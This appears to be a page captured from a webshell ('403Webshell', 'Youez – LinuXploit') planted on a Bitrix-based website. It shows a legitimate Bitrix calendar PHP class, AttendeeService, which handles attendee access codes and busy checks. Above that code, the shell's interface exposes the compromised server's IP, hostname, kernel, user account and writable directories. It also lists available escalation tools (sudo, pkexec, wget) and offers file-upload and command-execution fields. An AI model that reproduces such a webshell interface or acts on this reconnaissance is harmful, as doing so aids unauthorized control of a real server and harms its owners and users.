403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/application/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/calendar/lib/application/attendeeservice.php
<?php

namespace Bitrix\Calendar\Application;

use Bitrix\Calendar\Application\Command\BusyAttendees;
use Bitrix\Calendar\Core\Event\Tools\Dictionary;
use Bitrix\Calendar\Core\Managers\Accessibility;
use Bitrix\Calendar\Core\Section\Section;
use Bitrix\Calendar\Internals\Exception\AttendeeBusy;
use Bitrix\Calendar\UserSettings;
use Bitrix\Calendar\Util;

class AttendeeService
{
	public function getAttendeeAccessCodes(?array $attendeesEntityList, int $userId): array
	{
		$codes = [];
		if (is_array($attendeesEntityList))
		{
			$codes = Util::convertEntitiesToCodes($attendeesEntityList);
		}
		return \CCalendarEvent::handleAccessCodes($codes, ['userId' => $userId]);
	}

	public function isMeeting(array $accessCodes, Section $section, int $userId): bool
	{
		$calType = $section->getType() ?? '';

		return $accessCodes !== ['U'.$userId]
			|| in_array($calType, ['group', 'company_calendar', Dictionary::CALENDAR_TYPE['open_event']], true);
	}

	public function excludeAttendees(array $attendees, array $attendeesCodes, ?string $paramExcludeUsers): array
	{
		$excludeUsers = $this->getExcludeUsers($attendees, $paramExcludeUsers);
		if (!empty($excludeUsers))
		{
			$attendeesCodes = [];
			$attendees = array_diff($attendees, $excludeUsers);
			foreach($attendees as $attendee)
			{
				$attendeesCodes[] = 'U'. (int)$attendee;
			}
		}

		return [
			'attendees' => $attendees,
			'codes' => $attendeesCodes,
		];
	}

	public function getExcludeUsers(?array $attendees, ?string $paramsExcludeUsers): array
	{
		$excludeUsers = [];
		if ($paramsExcludeUsers && !empty($attendees))
		{
			$excludeUsers = explode(',', $paramsExcludeUsers);
		}

		return $excludeUsers;
	}

	/**
	 * @throws AttendeeBusy
	 */
	public function checkBusyAttendees(BusyAttendees $command, ?array $paramAttendees, ?int $eventId = null, array $additionalExcludeUsers = []): void
	{
		$attendees = [];
		$eventId = $eventId ?? 0;

		if ($command->isCheckCurrentUsersAccessibility())
		{
			$attendees = $paramAttendees;
		}
		else if (is_array($command->getNewAttendeesList()))
		{
			$excludedUsers = explode(',', $command->getExcludeUsers());
			$attendees = array_diff($command->getNewAttendeesList(), $excludedUsers);
		}

		$timezoneFrom = !empty($command->getTimeZoneFrom()) ? $command->getTimeZoneFrom() : \CCalendar::GetUserTimezoneName(\CCalendar::GetUserId());
		$timezoneTo = !empty($command->getTimeZoneTo()) ? $command->getTimeZoneTo() : $timezoneFrom;
		$timezoneOffsetFrom = Util::getTimezoneOffsetUTC($timezoneFrom);
		$timezoneOffsetTo = Util::getTimezoneOffsetUTC($timezoneTo);
		$timestampFrom = \CCalendar::TimestampUTC($command->getDateFrom()) - $timezoneOffsetFrom;
		$timestampTo = \CCalendar::TimestampUTC($command->getDateTo()) - $timezoneOffsetTo;
		if ($command->isSkipTime())
		{
			$timestampTo += \CCalendar::GetDayLen();
		}

		$busyUsers = $this->getBusyUsersIds($attendees, $eventId, $timestampFrom, $timestampTo, $additionalExcludeUsers);
		if (!empty($busyUsers))
		{
			$busyUsersList = \CCalendarEvent::getUsersDetails($busyUsers);
			$busyUserName = current($busyUsersList)['DISPLAY_NAME'];
			throw (new AttendeeBusy())
				->setBusyUsersList($busyUsersList)
				->setAttendeeName($busyUserName)
			;
		}
	}

	private function getBusyUsersIds(array $attendees, int $curEventId, int $fromTs, int $toTs, array $additionalExcludeUsers): array
	{
		$usersToCheck = $this->getUsersToCheck($attendees, $additionalExcludeUsers);
		if (empty($usersToCheck))
		{
			return [];
		}

		return (new Accessibility())
			->setSkipEventId($curEventId)
			->getBusyUsersIds($usersToCheck, $fromTs, $toTs);
	}

	private function getUsersToCheck(array $attendees, array $additionalExcludeUsers): array
	{
		$usersToCheck = [];
		foreach ($attendees as $attId)
		{
			$attendeeId = (int)$attId;
			if ($attendeeId !== \CCalendar::GetUserId() && !in_array($attendeeId, $additionalExcludeUsers, true))
			{
				$userSettings = UserSettings::get($attendeeId);
				if ($userSettings && $userSettings['denyBusyInvitation'])
				{
					$usersToCheck[] = $attendeeId;
				}
			}
		}
		return $usersToCheck;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit